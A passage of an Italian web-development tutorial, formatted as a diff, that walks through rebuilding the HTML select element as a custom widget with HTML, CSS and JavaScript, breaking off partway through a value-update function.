+<p class="summary">Ci sono molti casi in cui <a href="/en-US/docs/HTML/Forms/The_native_form_widgets" title="/en-US/docs/HTML/Forms/The_native_form_widgets">i widget del modulo html disponibili</a> non sono abbastanza. Se vuoi eseguire <a href="/en-US/docs/Advanced_styling_for_HTML_forms" title="/en-US/docs/Advanced_styling_for_HTML_forms">uno styling avanzato</a> su alcuni widget come l'elemento {{HTMLElement("select")}}  o sei vuoi fornirli di comportamenti personalizzati, l'unica scelta che hai è quella di costruirti il tuo widget personale.</p>
+
+<p>In quest'articolo vedremo come costruire questo tipo di widget. A tal fine lavoreremo con un esempio: ricostruire l'elemento {{HTMLElement("select")}} .</p>
+
+<div class="note">
+<p><strong>Nota:</strong> ci concentreremo sulla costruzione del widget, non su come rendere il codice generico e riutilizzabile; questo comporterebbe del codice JavaScript and la manipolazione del DOM in un contesto sconosciuto, uscendo fuori dallo scopo di quest'articolo.</p>
+</div>
+
+<h2 id="Design_strutture_e_semantica">Design, strutture, e semantica</h2>
+
+<p>Prima di costruire un widget personalizzato, dovresti cominciare a pensare esattamente cosa vuoi. Questo ti aiuterà a evitare perdite di tempo. In particolare, e' importante definire chiaramente tutti gli stati del tuo widget. Per fare ciò, è bene cominciare da un widget esistente che ha stati e comportamenti ben noti.</p>
+
+<p>Nel nostro esempio ricostruiremo l'elemento {{HTMLElement("select")}} . Ecco il risultato che vogliamo raggiungere:</p>
+
+<p><img alt="The three states of a select box" src="/files/4481/custom-select.png" style="height: 135px; width: 366px;"></p>
+
+<p>Questo screenshot ci illustra i tre stati principali del nostro widget: lo stato normale(a sinistra); lo stato di attivazione ( al centro) and lo stato aperto (a destra).</p>
+
+<p>In termini di compartamento vogliamo che il nostro widget sia utilizabile con il mouse e con la tastiera, proprio come un ogni widget non modificato. Cominciamo definendo come il widget raggiungerà uno stato:</p>
+
+<dl>
+ <dt>Il widget è nel suo stato normale quando:</dt>
+ <dd>
+ <ul>
+  <li>la pagina carica</li>
+  <li>Il widget era attivo e l'utente fa clico ovunque al di fuori del widget</li>
+  <li>il widget era attivo e l'utente sposta lo stato attivo su un altro widget usando la tastiera</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Nota:</strong> Moving the focus around the page is usually done through hitting the tab key, but this is not standard everywhere. For example cycling through links on a page is done in Safari by default using the <a href="http://www.456bereastreet.com/archive/200906/enabling_keyboard_navigation_in_mac_os_x_web_browsers/" title="http://www.456bereastreet.com/archive/200906/enabling_keyboard_navigation_in_mac_os_x_web_browsers/">Option+Tab combination</a>.</p>
+ </div>
+ </dd>
+ <dt>Il widget è nel suo stato attivo quando:</dt>
+ <dd>
+ <ul>
+  <li>L'user lo clicca</li>
+  <li>L'user clicca il tasto tab e lo evidenzia</li>
+  <li>il widget era aperto and l'user clicca sul widget.</li>
+ </ul>
+ </dd>
+ <dt>Il widget è nello stato di apertura quando:</dt>
+ <dd>
+ <ul>
+  <li>il widget è in uno stato diverso da quello aperto e l'utente fa clic su di esso</li>
+ </ul>
+ </dd>
+</dl>
+
+<p>Una volta compreso come cambiare gli stati, e importante definire come cambiare i valori del widget:</p>
+
+<dl>
+ <dt>I valori cambiano quando:</dt>
+ <dd>
+ <ul>
+  <li>l'user clicca su un'opzione quando il widget è nello stato di apertura</li>
+  <li>l'user preme dalla tastiera la frecciasu o giù quando il widget è aperto </li>
+ </ul>
+ </dd>
+</dl>
+
+<p>Finalmente, possiamo definire come le opzioni del widget dovranno comportarsi:</p>
+
+<ul>
+ <li>Quando il widget è aperto, l'opzione selezionata è evidenziata</li>
+ <li>Quando il mouse si trova su un'opzione, l'opzione viene evidenziata e l'opzione evidenziata in precedenza viene riportata al suo stato normale</li>
+</ul>
+
+<p>Ai fini del nostro esempio, ci fermeremo qui; comunque, se sei un lettore attendo avrai notato che mancano dei comportamenti. Per esempio: Cosa accadrà se l'user preme tab MENTRE il widget è aperto?La risposta è... Nulla. OK, il comportamento corretto sembra ovvio ma il fatto è che, poiché non è definito nelle nostre specifiche, è molto facile trascurare questo comportamento. Ciò è particolarmente vero in un ambiente di squadra quando le persone che progettano il comportamento del widget sono diverse da quelle che lo implementano.</p>
+
+<p>Un altro esempio divertente: Cosa succederà se l'user premerà il tasto su o giù mentre il widget è aperto? Questo è un po' più complicato. Se consideri che lo stato attivo e lo stato aperto sono totalmente diversi, la risposta è di nuovo " non succederà niente"!<br>
+ Perchè non abbiamo definito nessuna interazione con la tastiera quando il widget è aperto.D'altronde, se si considera che lo stato attivo e lo stato aperto si sovrappongono un po', il valore potrebbe cambiare ma l'opzione ma l'opzione non sarà sicuramente evidenziata di conseguenza, ancora una volta perchè non abbiamo definito interazioni con la tastiera con le opzioni quando il widget si trova nel suo stato aperto (abbiamo solo definito cosa dovrebbe accadere quando il widget è aperto, ma nulla dopo).</p>
+
+<p>le specifiche mancanti sono ovvie, quindi le gestiremo, ma potrebbe rivelare dei problemi in widget nuovi ed esotici, fper cui nessuno ha la minima idea di quale sia il comportamento giusto. E' sempre opportuno utilizzare bene il proprio tempo in questa fase di desgin: se definisci malamente un comportamento, o dimentichi di definirne uno, sarà molto difficile ridefinirlo una volta che gli utenti si saranno abituati. Se hai dubbi, chiedi l'opinione altrui , e se disponi di un budget non esitare in un<a href="http://en.wikipedia.org/wiki/Usability_testing" rel="external" title="http://en.wikipedia.org/wiki/Usability_testing"> user tests</a>. Questo processo è chiamato UX design. Se vuoi conoscere di più a proposito di questo argomento, dovresti controllare le seguenti risorse:</p>
+
+<ul>
+ <li><a href="http://www.uxmatters.com/" rel="external" title="http://www.uxmatters.com/">UXMatters.com</a></li>
+ <li><a href="http://uxdesign.com/" rel="external" title="http://uxdesign.com/">UXDesign.com</a></li>
+ <li><a href="http://uxdesign.smashingmagazine.com/" rel="external" title="http://uxdesign.smashingmagazine.com/">The UX Design section of SmashingMagazine</a></li>
+</ul>
+
+<div class="note">
+<p><strong>Nota: </strong>In molti sistemi c'è un modo per aprire l'elemento {{HTMLElement("select")}} per esaminare tutte le scelte disponibili (lo stesso elemento {{HTMLElement("select")}} ). This is achieved with Alt+Down arrow under Windows and was not implemented in our example —but it would be easy to do so, as the mechanism has already been implemented for the <code>click</code> event.</p>
+</div>
+
+<h3 id="Definire_la_struttura_e_la_semantica_HTML">Definire la struttura e la semantica HTML</h3>
+
+<p>Ora che le funzionalità basi del nostro widget sono state deficse, e' tempo di cominciare a costruire il nostro widget. Il primo passo è di definire la struttura HTML . Questo è ciò che dobbiamo ricostruire {{HTMLElement("select")}}:</p>
+
+<pre class="brush: html">&lt;!-- Questo è il nostro container
+     principale per il nostro widget.
+     l'attributo tabindex permette
+     all'utente di concentrarsi sul widget.
+     Vedremo dopo cos'è meglio
+     utilizzare con javascript. --&gt;
+
+&lt;div class="select" tabindex="0"&gt;
+
+  &lt;!-- Questo container verrà usato per stampare il valore corrente del widget --&gt;
+  &lt;span class="value"&gt;Cherry&lt;/span&gt;
+
+  &lt;!-- Questo container conterrà tutte le opzioni disponibili per il nostro widget.
+       dato che sarà una lista, utilizzare l'opzione ul è valido. --&gt;
+  &lt;ul class="optList"&gt;
+    &lt;!-- Ogni opzione contiene solo il valore da visualizzare, vedremo dopo come
+         manipolare il reale valore che vogliamo inviare col form --&gt;
+    &lt;li class="option"&gt;Cherry&lt;/li&gt;
+    &lt;li class="option"&gt;Lemon&lt;/li&gt;
+    &lt;li class="option"&gt;Banana&lt;/li&gt;
+    &lt;li class="option"&gt;Strawberry&lt;/li&gt;
+    &lt;li class="option"&gt;Apple&lt;/li&gt;
+  &lt;/ul&gt;
+
+&lt;/div&gt;</pre>
+
+<p>Nota l'uso del nome delle classi; questi identificano ciascuna parte rilevante indipendentemente dagli effettivi elementi HTML sottostanti utilizzati. Questo è importante per essere sicuri che non legheremo il nostro CSS e JavaScript ad una forte struttura HTML, in modo da poter apportare modifiche all'implementazione in un secondo momento senza rompere il codice che utilizza il widget. Per esempio se desideri implementare l'equivalente dell'elemento {{HTMLElement("optgroup")}}.</p>
+
+<h3 id="Creare_l'aspetto_grafico_utilizzando_i_CSS">Creare l'aspetto grafico utilizzando i CSS</h3>
+
+<p>Ora che abbiamo una struttura HTML possiamo cominciare a disegnare il nostro widget. L'intero punto di costruzione di questo widget personalizzato è di essere in grado di modellare questo widget esattamente come vogliamo. Al fine di ciò, divideremo i nostri CSS in due parti: la prima parte sarà necessaria per avere un widget simile a {{HTMLElement("select")}} ,la seconda parte consisterà nella parte grafica in modo che appaia come noi vogliamo.</p>
+
+<h4 id="Stili_richiesti">Stili richiesti</h4>
+
+<p>Gli stili richiesti sono quelli necessari per gestire i tre stati del nostro widget.</p>
+
+<pre class="brush: css">.select {
+  /* Questo creerà un contesto di posizionamento per l'elenco di opzioni */
+  position: relative;
+
+  /*Questo renderà il nostro widget parte del flusso di testo e allo stesso tempo considerevole */
+  display : inline-block;
+}</pre>
+
+<p>Abbiamo bisogno di una classe extra "active" per definire il look del nostro widget quando è nello stato di attivazione. Poichè il nostro widget è selezionabile,dobbiamo raddoppiare questo stile personale con la pseudo-classe {{cssxref(":focus")}} In modo da essere sicuri che abbiano lo stesso comportamento.</p>
+
+<pre class="brush: css">.select.active,
+.select:focus {
+  outline: none;
+
+  /* Questo box-shadow non è richiesto al corretto funzionamento ,
+     tuttavia è importante per essere sicuro che lo stato di attivazione
+     sia visibile e che lo utilizziamo come valore di defaul,
+     sentiti libero di modificarlo. */
+  box-shadow: 0 0 3px 1px #227755;
+}</pre>
+
+<p>Ora manipoliamo la lista delle opzioni:</p>
+
+<pre class="brush: css">/* il selettore .select è zucchero sintattico ( traduzione letterale,
+   concettualmente vuol dire " rendere del codice più dolce, più umano "
+   per essere sicuri che le classi che definiamo siano quelli all'interno del nostro widget.
+ */
+
+.select .optList {
+  /* Ciò assicurerà che il nostro elenco di opzioni sia visualizzato sotto il valore
+      e fuori dal flusso HTML */
+  position : absolute;
+  top      : 100%;
+  left     : 0;
+}</pre>
+
+<p>Abbiamo bisogno di una classe extra per manipolare la lista quando le opzioni sono nascoste. Questo è necessario per gestire le differenze tra lo stato attivo e lo stato aperto che non corrispondono esattamente.</p>
+
+<pre class="brush: css">.select .optList.hidden {
+  /* Questo è un modo semplice per nascondere la lista in modo accessibile,
+      parleremo di più sull'accessibilità alla fine */
+  max-height: 0;
+  visibility: hidden;
+}</pre>
+
+<h4 id="Abbellimento">Abbellimento</h4>
+
+<p>Ora che abbiamo le funzionalità base, possiamo cominciare a divertirci. Quello seguente è solo un esempio di ciò che è possibile, e corrisponderà allo screenshot all'inizio di questo articolo. Dovresti sentirti libero di sperimentare e vedere cosa accade.</p>
+
+<pre class="brush: css">.select {
+  /* Tutte le taglie saranno espresse con il valore em per motivi di accessibilità
+      (per assicurarsi che il widget rimanga ridimensionabile se l'utente usa il
+      zoom del browser in modalità solo testo). I calcoli sono fatti
+      assumendo 1em == 16px quale è il valore predefinito nella maggior parte dei browser.
+      Se ti perdi la conversione di px in em, prova http://riddle.pl/emcalc/ * /
+  font-size   : 0.625em;
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  /* Abbiamo bisogno di spazio extra per la freccia in giù che aggiungeremo
+ */
+  padding : .1em 2.5em .2em .5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : .2em solid #000; /* 2px */
+  border-radius : .4em; /* 4px */
+  box-shadow    : 0 .1em .2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  /* La prima dichiarazione serve per i browser che non supportano i gradienti lineari.
+     La seconda dichiarazione è perché i browser basati su WebKit non hanno ancora una definizione prefissata.
+     Se vuoi supportare i browser legacy prova http://www.colorzilla.com/gradient-editor/ */
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  /* poichè i valori possono essere più larghi del nostro widget, dobbiamo essere sicuri
+     che il widget cambierà dimensione */
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  vertical-align: top;
+
+  /* E se il contenuto va in overflow, è bello avere un bell'elisse . */
+  white-space  : nowrap;
+  text-overflow: ellipsis;
+}</pre>
+
+<p>Non abbiamo bisogno di altri elementi per disegnare la freccia in basso; useremo invece lo pseudo-elemento {{cssxref(":after")}}. Comunque potrebbe anche essere implementato usando una semplice immagine  di background.</p>
+
+<pre class="brush: css">.select:after {
+  content : "▼"; /* utilizziamo il carattere unicode U+25BC; vedi http://www.utf8-chartable.de */
+  position: absolute;
+  z-index : 1; /* importante per la posizione della freccia in modo da evitare
+               sovrapposizionamenti */
+  top     : 0;
+  right   : 0;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  height  : 100%;
+  width   : 2em;  /* 20px */
+  padding-top : .1em; /* 1px */
+
+  border-left  : .2em solid #000; /* 2px */
+  border-radius: 0 .1em .1em 0;  /* 0 1px 1px 0 */
+
+  background-color : #000;
+  color : #FFF;
+  text-align : center;
+}</pre>
+
+<p>ora cominciamo il design della lista delle opzioni:</p>
+
+<pre class="brush: css">.select .optList {
+  z-index : 2; /* Dichiariamo esplicitamente che la lista delle opzioni si sovraporrà
+                  alla freccia */
+
+  /*Questo resetterà lo stile di default degli elementi &lt;ul&gt; */
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  /* Ciò assicurerà che anche se i valori sono inferiori al widget,
+      l'elenco delle opzioni sarà grande quanto il widget stesso */
+  min-width : 100%;
+
+  /*Nel caso in cui l'elenco sia troppo lungo, il suo contenuto si sovrapporrà verticalmente
+      (che aggiungerà automaticamente una barra di scorrimento verticale) ma mai in orizzontale
+      (poiché non abbiamo impostato una larghezza, la lista regolerà automaticamente la sua larghezza.
+      Se non è possibile, il contenuto verrà troncato) */
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+
+  border: .2em solid #000; /* 2px */
+  border-top-width : .1em; /* 1px */
+  border-radius: 0 0 .4em .4em; /* 0 0 4px 4px */
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4); /* 0 2px 4px */
+  background: #f0f0f0;
+}</pre>
+
+<p>Per le opzioni abbiamo bisogno di aggiungere la classe <code>highlight</code> in modo da identificare il valore che l'user selezionerà (o ha selezionato).</p>
+
+<pre class="brush: css">.select .option {
+  padding: .2em .3em; /* 2px 3px */
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}</pre>
+
+<p>ecco i risultati dei nostri 3 stati:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Basic state</th>
+   <th scope="col" style="text-align: center;">Active state</th>
+   <th scope="col" style="text-align: center;">Open state</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{EmbedLiveSample("Basic_state",120,130, "", "HTML/Forms/How_to_build_custom_form_widgets/Example_1")}}</td>
+   <td>{{EmbedLiveSample("Active_state",120,130, "", "HTML/Forms/How_to_build_custom_form_widgets/Example_1")}}</td>
+   <td>{{EmbedLiveSample("Open_state",120,130, "", "HTML/Forms/How_to_build_custom_form_widgets/Example_1")}}</td>
+  </tr>
+  <tr>
+   <td colspan="3" style="text-align: center;"><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_1" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_1">Check out the source code</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Porta_in_vita_il_tuo_widget_con_javascript">Porta in vita il tuo widget con javascript</h2>
+
+<p>Ora che il nostro designe e la nostra struttura sono pronti possiamo scrivere il codice JavaScript che farà effettivamente lavorare il widget.</p>
+
+<div class="warning">
+<p><strong>Pericolo:</strong> Il seguente codice è educativo e non dovrebbe essere usato così com'è. Tra le tante cose, come vedremo, non è a prova di futuro e non funzionerà sui browser legacy. Ha anche parti ridondanti che dovrebbero essere ottimizzate nel codice di produzione.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota:</strong> Creare widget riutilizzabili è qualcosa che può essere un po 'complicato. La bozza del componente Web W3C è una delle risposte a questo specifico problema. Il progetto X-Tag è un'implementazione di test di questa specifica; ti invitiamo a dare un'occhiata a questo.</p>
+</div>
+
+<h3 id="Perchè_non_funziona">Perchè non funziona?</h3>
+
+<p>Prima di cominciare, è importante ricordare qualcosa di fondamentale a proposito di JavaScript: dentro un browser, <strong>è una tecnologia inaffidabile</strong>. Quando stai costruendo widget personalizzati, dovrai fare affidamento su javascript perchè è un filo necessario per legare tutto insieme. Tuttavia, ci sono molti casi in cui JavaScript non può essere eseguito nel browser:</p>
+
+<ul>
+ <li>L'user ha bloccato l'utilizzo di javascript: Questo è il caso più insolito di sempre; veramente poche persone bloccano l'utilizzo di JavaScript oggigiorno.</li>
+ <li>Lo script non si carica. Questo è uno dei casi più comuni, specialmente nel mondo mobile.</li>
+ <li>Lo script è buggato. Dovresti sempre considerare questa possibilità.</li>
+ <li>Lo script entra in conflitto con uno script di terze parti. Questo può accadere con gli script di tracciamento o qualsiasi bookmarklet che l'utente utilizza.</li>
+ <li>Lo script è in conflitto con, o è affetto da, un'estensione del browser (come  Firefox's <a href="https://addons.mozilla.org/fr/firefox/addon/noscript/" rel="external" title="https://addons.mozilla.org/fr/firefox/addon/noscript/">NoScript</a> extension o Chrome's <a href="https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn" rel="external" title="https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn">NotScripts</a> ).</li>
+ <li>L'user sta utilizzando un browser Legacy, e una delle feature che richiedi non è supportata. Ciò si verifica frequentemente quando si utilizzano API all'avanguardia.</li>
+</ul>
+
+<p>Per via di questi rischi, è molto importante considerare seriamente cosa accadrà se JavaScript non funziona. Trattare dettagliatamente questo problema è fuori dallo scopo di questo articolo perché è strettamente legato al modo in cui si desidera rendere generico e riutilizzabile lo script, ma nel nostro esempio considereremo le basi di ciò.</p>
+
+<p>Nel nostro esempio, se il nostro codice JavaScript non è in esecuzione, ricorreremo alla visualizzazione di un elemento {{HTMLElement("select")}}. Per raggiungere questo abbiamo bisogno di due cose.</p>
+
+<p>Per prima cosa, dobbiamo aggiungere un normale elemento {{HTMLElement ("select")}} prima di ogni utilizzo del nostro widget personalizzato. Questo è in realtà richiesto anche per poter inviare dati dal nostro widget personalizzato insieme al resto dei dati del nostro modulo;diremo di più a proposito più tardi.</p>
+
+<pre class="brush: html">&lt;body class="no-widget"&gt;
+  &lt;form&gt;
+    &lt;select name="myFruit"&gt;
+      &lt;option&gt;Cherry&lt;/option&gt;
+      &lt;option&gt;Lemon&lt;/option&gt;
+      &lt;option&gt;Banana&lt;/option&gt;
+      &lt;option&gt;Strawberry&lt;/option&gt;
+      &lt;option&gt;Apple&lt;/option&gt;
+    &lt;/select&gt;
+
+    &lt;div class="select"&gt;
+      &lt;span class="value"&gt;Cherry&lt;/span&gt;
+      &lt;ul class="optList hidden"&gt;
+        &lt;li class="option"&gt;Cherry&lt;/li&gt;
+        &lt;li class="option"&gt;Lemon&lt;/li&gt;
+        &lt;li class="option"&gt;Banana&lt;/li&gt;
+        &lt;li class="option"&gt;Strawberry&lt;/li&gt;
+        &lt;li class="option"&gt;Apple&lt;/li&gt;
+      &lt;/ul&gt;
+    &lt;/div&gt;
+  &lt;/form&gt;
+
+&lt;/body&gt;</pre>
+
+<p>Secondo, abbiamo bisogno di due nuove classi per nascondere l'elemento non necessario (cioè, l'elemento "reale" {{HTMLElement ("select")}} se il nostro script non è in esecuzione o il widget personalizzato è in esecuzione) . Nota che per impostazione predefinita, il nostro codice HTML nasconde il nostro widget personalizzato.</p>
+
+<pre class="brush: css">.widget select,
+.no-widget .select {
+  /*Questo selettore css afferma:
+     - o abbiamo impostato la classe del corpo su "widget",
+       quindi nascondiamo l'effettivo elemento {{HTMLElement ("select")}}
+      - o non abbiamo cambiato la classe del corpo, quindi la classe del corpo
+         è ancora "no-widget",
+        quindi gli elementi di classe "select" devono essere nascosti */
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}</pre>
+
+<p>Ora abbiamo solo bisogno di un interruttore JavaScript per determinare se lo script è in esecuzione o meno. Questa opzione è molto semplice: se al momento del caricamento della pagina il nostro script è in esecuzione, rimuoverà la classe no-widget e aggiungerà la classe widget, scambiando così la visibilità dell'elemento {{HTMLElement ("select")}} e del widget personalizzato.</p>
+
+<pre class="brush: js">window.addEventListener("load", function () {
+  document.body.classList.remove("no-widget");
+  document.body.classList.add("widget");
+});</pre>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Without JS</th>
+   <th scope="col" style="text-align: center;">With JS</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{EmbedLiveSample("No_JS",120,130, "", "HTML/Forms/How_to_build_custom_form_widgets/Example_2")}}</td>
+   <td>{{EmbedLiveSample("JS",120,130, "", "HTML/Forms/How_to_build_custom_form_widgets/Example_2")}}</td>
+  </tr>
+  <tr>
+   <td colspan="2" style="text-align: center;"><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_2" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_2">Check out the source code</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota:</strong> Se vuoi veramente rendere il tuo codice generico e riutilizzabile, invece di fare un cambio di classe è meglio aggiungere semplicemente la classe del widget per nascondere gli elementi {{HTMLElement ("select")}} e aggiungere dinamicamente l'albero DOM che rappresenta il widget personalizzato dopo ogni {{HTMLElement ("select")}} elemento nella pagina.</p>
+</div>
+
+<h3 id="Rendere_il_lavoro_più_facile">Rendere il lavoro più facile</h3>
+
+<p>Nel codice che stiamo per costruire, useremo l'API DOM standard per fare tutto il lavoro di cui abbiamo bisogno. Tuttavia, sebbene il supporto dell'API DOM sia diventato molto meglio nei browser, ci sono sempre problemi con i browser legacy (specialmente con il buon vecchio Internet Explorer).</p>
+
+<p>Se vuoi evitare problemi con i browser legacy, ci sono due modi per farlo: usando un framework dedicato come jQuery, $ dom, prototype, Dojo, YUI, o simili, o facendo il polyfilling della funzione mancante che vuoi usare ( che può essere fatto facilmente attraverso il caricamento condizionale, ad esempio con la libreria yepnope).</p>
+
+<p>Le funzionalità che intendiamo utilizzare sono le seguenti (ordinate dal più rischioso al più sicuro):</p>
+
+<ol>
+ <li>{{domxref("element.classList","classList")}}</li>
+ <li>{{domxref("EventTarget.addEventListener","addEventListener")}}</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach">forEach</a></code> (This is not DOM but modern JavaScript)</li>
+ <li>{{domxref("element.querySelector","querySelector")}} and {{domxref("element.querySelectorAll","querySelectorAll")}}</li>
+</ol>
+
+<p>Oltre alla disponibilità di tali funzionalità specifiche, rimane ancora un problema prima dell'avvio. L'oggetto restituito dalla funzione {{domxref ("element.querySelectorAll", "querySelectorAll ()")}} è un {{domxref ("NodeList")}} piuttosto che una matrice. Questo è importante perché gli oggetti Array supportano la funzione forEach, ma {{domxref ("NodeList")}} no. Poiché {{domxref ("NodeList")}} sembra davvero un array e poiché forEach è così comodo da usare, possiamo facilmente aggiungere il supporto di forEach a {{domxref ("NodeList")}} per rendere la nostra vita più facile, così:</p>
+
+<pre class="brush: js">NodeList.prototype.forEach = function (callback) {
+  Array.prototype.forEach.call(this, callback);
+}</pre>
+
+<p>We weren't kidding when we said it's easy to do.</p>
+
+<h3 id="Creazione_di_eventi_Callback">Creazione di eventi Callback</h3>
+
+<p>Il terreno è pronto, ora possiamo iniziare a definire tutte le funzioni che verranno utilizzate ogni volta che l'utente interagisce con il nostro widget.</p>
+
+<pre class="brush: js">// Questa funzione verrà utilizzata ogni volta che si desidera disattivare un widget personalizzato
+// Richiede un parametro
+// seleziona: il nodo DOM con la classe `select` da disattivare
+function deactivateSelect(select) {
+
+  // Se il widget non è attivo non c'è nulla da fare
+  if (!select.classList.contains('active')) return;
+
+  // Abbiamo bisogno di ottenere l'elenco delle opzioni per il widget personalizzato
+  var optList = select.querySelector('.optList');
+
+  // Chiudiamo la lista delle opzioni
+  optList.classList.add('hidden');
+
+  // e disattiviamo il custom widget
+  select.classList.remove('active');
+}
+
+// questa funzione verrà utilizzata ogni volta che l'user(dis)attiverà il widget
+// prende due parametri:
+// select : il nodo del DOM con le classi 'select' da attivare
+// selectList :la lista di tutti i nodi dom con la la classe 'select'
+
+function activeSelect(select, selectList) {
+
+  // Se il widget è già attivo non c'è niente da fare
+  if (select.classList.contains('active')) return;
+
+  // Dobbiamo disattivare lo stato attivo su tutti i widget personalizzati
+   // Perché la funzione deactivateSelect soddisfa tutti i requisiti di
+   // per ogni funzione di callback, la usiamo direttamente senza usare un intermediario
+   // funzione anonima.
+  selectList.forEach(deactivateSelect);
+
+  // E attiviamo lo stato attivo per questo specifico widget
+  select.classList.add('active');
+}
+
+// Questa funzione verrà utilizzata ogni volta che l'utente desidera aprire / chiudere l'elenco di opzioni
+// Richiede un parametro:
+// seleziona: il nodo DOM con l'elenco da attivare
+function toggleOptList(select) {
+
+ // L'elenco è tenuto dal widget
+  var optList = select.querySelector('.optList');
+
+  // Modifichiamo la classe dell'elenco per mostrarlo / nasconderlo
+  optList.classList.toggle('hidden');
+}
+
+// Questa funzione verrà utilizzata ogni volta che sarà necessario evidenziare un'opzione
+// Ci vogliono due parametri:
+// seleziona: il nodo DOM con la classe `select` contenente l'opzione da evidenziare
+// opzione: il nodo DOM con la classe `option` da evidenziare
+function highlightOption(select, option) {
+
+  // Otteniamo l'elenco di tutte le opzioni disponibili per il nostro elemento di selezione personalizza
+  var optionList = select.querySelectorAll('.option');
+
+  // Rimuoviamo l'evidenziazione da tutte le opzioni
+  optionList.forEach(function (other) {
+    other.classList.remove('highlight');
+  });
+
+ // Evidenziamo l'opzione giusta
+  option.classList.add('highlight');
+};</pre>
+
+<p> </p>
+
+<p>Questo è tutto ciò che serve per gestire i vari stati del widget personalizzato.</p>
+
+<p>Successivamente, associamo queste funzioni agli eventi appropriati:</p>
+
+<p> </p>
+
+<pre class="brush: js">// Gestiamo il binding di eventi quando il documento è caricato.
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  // Each custom widget needs to be initialized
+  selectList.forEach(function (select) {
+
+    // Ogni widget personalizzato deve essere inizializzato
+    var optionList = select.querySelectorAll('.option');
+
+    // Ogni volta che un utente passa il mouse su un'opzione, evidenziamo l'opzione data
+    optionList.forEach(function (option) {
+      option.addEventListener('mouseover', function () {
+        // Nota: le variabili `select` e` option` sono le chiusure
+         // disponibile nell'ambito della nostra chiamata di funzione.
+        highlightOption(select, option);
+      });
+    });
+
+    // Ogni volta che l'utente fa clic su un elemento di selezione personalizzato
+    select.addEventListener('click', function (event) {
+     // Nota: la variabile `select` è una chiusura
+       // disponibile nell'ambito della nostra chiamata di funzione.
+
+      // Accendiamo la visibilità dell'elenco di opzioni
+      toggleOptList(select);
+    });
+
+    // Nel caso in cui il widget ottenga lo stato attivo
+     // Il widget ottiene l'attenzione ogni volta che l'utente fa clic su di esso o ogni volta
+     // usano la chiave di tabulazione per accedere al widget
+    select.addEventListener('focus', function (event) {
+      // Nota: le variabili `select` e` selectList` sono le chiusure
+       // disponibile nell'ambito della nostra chiamata di funzione.
+
+      // Attiviamo il widget
+      activeSelect(select, selectList);
+    });
+
+    // Nel caso in cui il widget lasci il focus
+    select.addEventListener('blur', function (event) {
+      // Nota: la variabile `select` è una chiusura
+       // disponibile nell'ambito della nostra chiamata di funzione.
+
+       // Disattiamo il widget
+      deactivateSelect(select);
+    });
+  });
+});</pre>
+
+<p>A quel punto, il nostro widget cambierà stato in base al nostro progetto, ma il suo valore non viene ancora aggiornato. Lo gestiremo dopo.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Live example</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{EmbedLiveSample("Change_states",120,130, "", "HTML/Forms/How_to_build_custom_form_widgets/Example_3")}}</td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_3" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_3">Check out the source code</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Gestire_il_valore_del_Widget">Gestire il valore del Widget</h3>
+
+<p> </p>
+
+<p>Ora che il nostro widget funziona, dobbiamo aggiungere del codice per aggiornarne il valore in base all'input dell'utente e rendere possibile l'invio del valore insieme ai dati del modulo.</p>
+
+<p>Il modo più semplice per farlo è usare un widget nativo sotto il cofano. Tale widget terrà traccia del valore con tutti i controlli integrati forniti dal browser e il valore verrà inviato normalmente al momento della presentazione di un modulo. Non ha senso reinventare la ruota quando possiamo fare tutto questo per noi.</p>
+
+<p>Come visto in precedenza, utilizziamo già un widget di selezione nativo come fallback per motivi di accessibilità; possiamo semplicemente sincronizzare il suo valore con quello del nostro widget personalizzato:</p>
+
+<p> </p>
+
+<pre class="brush: js">// Questa funzione aggiorna il valore visualizzato e lo sincronizza con il widget nativo.
+// Ci vogliono due parametri:
+// seleziona: il nodo DOM con la classe `select` contenente il valore da aggiornare
+// indice: l'indice del valore da selezionare
+function updateValue(select, index) {
+ // Abbiamo bisogno di ottenere il widget nativo per il widget personalizzato specificato
+   // Nel nostro esempio, quel widget nativo è un fratello del widget personalizzato
+  var nativeWidget = select.previousElementSibling;
+
